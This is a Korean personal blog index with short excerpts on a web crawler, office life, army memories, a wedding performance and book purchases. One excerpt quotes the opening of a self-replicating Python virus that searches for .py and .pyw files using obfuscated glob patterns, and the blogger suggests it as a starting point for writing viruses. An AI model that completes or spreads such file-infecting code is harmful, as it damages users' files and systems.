틈틈히 리팩토링한 덕을 이제야 보는구나!

urlserver의 urldata를 지금까지는 메모리에 올려서 중복검사 및 자료 수집을 수행을 했는데 url저장방법을 b+tree 방식으로 바꾸는 작업을 했다. 객체지향 방법론의 덕과 코드간의 Coupling을 줄이기 위해 노력게 빛을 보는 순간이였다. 단지 코드를 바꾸는데 class 3개의 내부 코드를 수정하는것으로 모든게 완료가 되었다. 아주 간단한 코드라도 특징에 맞게 적절한 이름을 지어주어 메소드로 빼놓았던게 정말 도움이 많이 되었다. 코드를 보고 […]

계속 읽기

인기투표 결과!

전에 스마일상과 근면 성실상을 받았다는 글이 있었다. 그곳에 가고 싶다면 클릭! 우리 경영지원실의 아무개 씨의 미니 홈피에 가보니 증거 사진이 있어 이렇게 올려본다. 보면 역시나.. 스마일 상중에는 꼴찌다. 그래도 기분 좋다. ㅋㅋㅋ

계속 읽기

전기고문의 추억…

몇일전에 보병 병과 마크를 달고 땀흘리며 지하철을 타고 가는 사람이 있어 눈여겨 봤더니 소위였다. 시기를 보니 십중팔구는 얼마전에 임관한 소위 일거 같은 생각에 말을 걸어봤다. 갑자기 2001년에 보병학교에서 유격훈련받은게 생각이 나더군… 그래서 대뜸 물어봤다. “요즘도 유격할때 전기고문같은거 하나요?” 황급히 자세를 고치더니 몇기시냐고 묻는것이였다. 서로 통성명과 기수를 확인하고 난 다음에 대답을 해줬다. 저번주에 유격을 받았더라고… 그리고 […]

계속 읽기

요즘 이 재미로 주말을 보넨다.

요즘 신입사원때문에 정말 정말 즐거운 주말을 보네고 있다. 2주전에 우연히 뉴스그룹에서 누군가가 올려주는 동영상클립을 보고 흠뻑 빠져서 헤어나오질 못하고 있다. 특히 4회정도까지 시작부분에 나왔던 꿈씬은 보는이로 하여금 실소를 자아내게 해줬다. 특히 면접꿈과 무협꿈…ㅋㅋㅋ 현실의 학벌위주사회와 비정규직 문제 그리고 사내에서의 갈등요소들을 코믹하게 접근해서 해결방법은 황당하지만 보는이로 하여금 통쾌함을 느끼게끔 해준다. 그리고 개인적인 능력보다는 인적 네트워크를 이용하는 […]

계속 읽기

생애 처음 축가 연주

오카리나로 결혼식 축가를 처음 해줬다. 곡은 워킹의 축복송이다. 두분 평생의 추억으로 남아있을거라 확신한다. 돈(축의금) 말고 내가 잘 할수 있는 무엇으로 다른사람들에게 행복을 줄수 있다는게 정말 기분 좋다. 이 연주때문에 알토키 오카리나를 거금(?)을 주고 구입했다. 이때 온 회사여직원들 서로 자기 결혼할때 축가해달라고 아주 성화가 끊임없었다. ^^

계속 읽기

지식인이 가난한 이유 증명 (Dilbert’s Salary Theorem)

공리 1: 아는 것이 힘이다. Knowledge is Power. 공리 2: 시간은 돈이다. Time is Money. 모든 엔지니어가 다 아다시피 Power = Work / Time 이 성립한다. 위 공리를 이 식에 대입하여 정리하면 Knowledge = Work / Money가 된다. 이 식을 돈(Money)에 대해 풀면 Money = Work / Knowledge가 성립한다. 따라서 아는 것이 적을 수록 더 […]

계속 읽기

브라우저 만드시는 분 대단하십니다..

약 한달 조금 넘게 웹 로봇하고 UrlServer를 개발해서 수많은 사이트를 크롤링 했다. 수많은 에러에 봉착하고 수정하고를 개발하고 나서 한 보름정도를 버그 잡는데 보넸다.. 아니…. 프로그램의 버그라기보다는 엉터리 html코드와 header 때문이다….. 마이크로 소프트 익스플로러나 파이어 폭스처럼 유연하게 모든 엉터리 컨텐츠에 대해서 정보를 가질수 있게하려고 코드 수정에 수정을 가하고 있다. 아마도 언젠가…….. 그때가 언제인지는 모르겠지만… 업계 비표준(마소 […]

계속 읽기

Python virus 소스코드

외국사이트에서 돌아다니는 소스코드다.. 세상에…이건 바이러스가 아니라… 악성코드다… 근데 파이썬으로 바이러스를 제작하려는 사람들.. 이 코드로 시작해 보는것도 좋을듯 싶다. import glob, os os.__file__ Vort3x_ = (__file__) Msg = raw_input(” nn This is a virus! nn Have a nice day nn Peace: nn Vort3x “) CountFile = glob.glob(chr(42)+chr(46)+chr(112)+chr(121)) + glob.glob(chr(42)+chr(46)+chr(112)+chr(121)+chr(119)) for CountFile in CountFile: ReadVirus = open […]

계속 읽기

이번달에 구입한 책…

3월달부터 네트웍 프로그래밍과 리눅스 및 유닉스 프로그래밍을 해야될 일이 생겨서 그에 관한 책좀 구입했다.. 아래 Python Network Programming 이라는 책은 보름넘게 걸려서 받은 책이다. 온라인으로 주문한지 얼마 안되서 교보문고에 있는걸 발견했는데. 강컴은 해외원서 주문후 취소가 안되는지라… 기다렸다 받은 책이다. 다른사람의 손이 안간 책이라서 기분은 좋다. 최신 정보 검색론이라는 책은 검색엔진 개발자 그룹 오프 모임에 나가서 […]

계속 읽기

내 자리….

19인치 모니터 때문에 좀 좁아 보이긴 하지만… 상당히 넓은 자리다. 이 회사에 와서 젤 처음 느꼈던게 자리가 굉장히 넓고 편안하다는 느낌이였다. 한마디로 개인에게 할당된 자리가 좁지만은 않다. 피플웨어라는 책을 보고 눈만 높아졌는데 그런대로 만족을 할정도니 ….. 위치는 예전 재무 이사님의 자리라서 뭐 두말할 나위도 없다. 뒤통수에 카메라가 있지만 별로 의식하지는 않고….. 물론 열심히 일하는거 봐줘서 […]

계속 읽기